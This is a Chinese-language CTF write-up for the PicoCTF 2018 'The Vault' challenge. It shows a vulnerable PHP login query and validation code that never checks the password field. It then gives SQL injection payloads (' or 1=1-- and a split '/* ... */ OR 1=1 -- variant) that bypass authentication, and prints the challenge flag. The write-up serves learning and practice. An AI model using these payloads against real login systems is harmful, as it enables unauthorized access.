小屋創作

日誌2021-01-26 20:50

PICO CTF 2018 The Vault

作者:OKHand

The Vault - Points: 250 - (Solves: 7924)
->先連進題目的網頁 http://2018shell.picoctf.com:56537
->我們可以看到是一個登錄頁面
->我們看到下面有一個 login.php source code
->點進去看可以看到登入頁面的原始碼
->裡面我們可以看到這一行我們可以知道要兩個都過才能拿到flag
$query = "SELECT 1 FROM users WHERE name='$username' AND password='$password'";
->接下去看 我們可以發現他只有檢查輸入進去的username的部分密碼沒有去做檢查
  //validation check  
$pattern ="/.*['\"].*OR.*/i";  
$user_match = preg_match($pattern, $username);  $password_match = preg_match($pattern, $username);
->這裡我們就可以想辦法再密碼做壞壞的事情
->我們可以使用SQL injection去做攻擊 在網路上可以找到很多資料下面的補充也會放一些我看的資料
->我們帳號的部分就亂打不能打他限制那些喔!密碼的部分就打' or 1=1—
->我們就能拿到我們的flag
->Your flag is: picoCTF{w3lc0m3_t0_th3_vau1t_c09f30a0}
->至於為啥會跑出flag呢 因為我們剛剛打的密碼會傳到源碼那而源碼那邊會因為我們輸入的東西改動到源碼變成
$query = "SELECT 1 FROM users WHERE name='$username' AND password=' ' or 1=1—";
->這邊密碼就變成'' or 1=1 --後面的程式碼會被註解掉

我之前對於SQL injection的印象都只是輸入' or 1=1— 就過了沒有深入的去看看還有啥現在回來看看一些資料發現有一些延伸出去的東西可以是我以前沒想過的

至於解題方面我看了一些人他們說這題有另一種解題方式
就是在帳號地方輸入:'/*  密碼輸入:*/ OR 1=1 --
這樣就變成了
$query = "SELECT 1 FROM users WHERE name=''/*' AND password='*/ OR 1=1 --'
達到了直接把密碼那邊忽略掉也順便把他無條件通過和註解後方程式碼的功效

補充資料:
SQL injection:
https://ithelp.ithome.com.tw/articles/10207336
https://ithelp.ithome.com.tw/articles/10189201
https://lwn.net/Articles/177037/
解題:
https://ctftime.org/writeup/11747
https://ithelp.ithome.com.tw/articles/10219449
preg_match語法:
https://medium.com/verybuy-dev/php%E6%AD%A3%E8%A6%8F%E8%A1%A8%E9%81%94%E5%BC%8F%E6%AF%94%E5%B0%8D-89b03ebc10eb

1

1

LINE 分享

相關創作

PICO CTF 2018 Ext Super Magic

PICO CTF 2018 What's My Name?

PICO CTF 2018 Buttons

留言

開啟 APP

face基於日前微軟官方表示 Internet Explorer 不再支援新的網路標準,可能無法使用新的應用程式來呈現網站內容,在瀏覽器支援度及網站安全性的雙重考量下,為了讓巴友們有更好的使用體驗,巴哈姆特即將於 2019年9月2日 停止支援 Internet Explorer 瀏覽器的頁面呈現和功能。
屆時建議您使用下述瀏覽器來瀏覽巴哈姆特:
。Google Chrome(推薦)
。Mozilla Firefox
。Microsoft Edge(Windows10以上的作業系統版本才可使用)

face我們了解您不想看到廣告的心情⋯ 若您願意支持巴哈姆特永續經營,請將 gamer.com.tw 加入廣告阻擋工具的白名單中,謝謝 !【教學】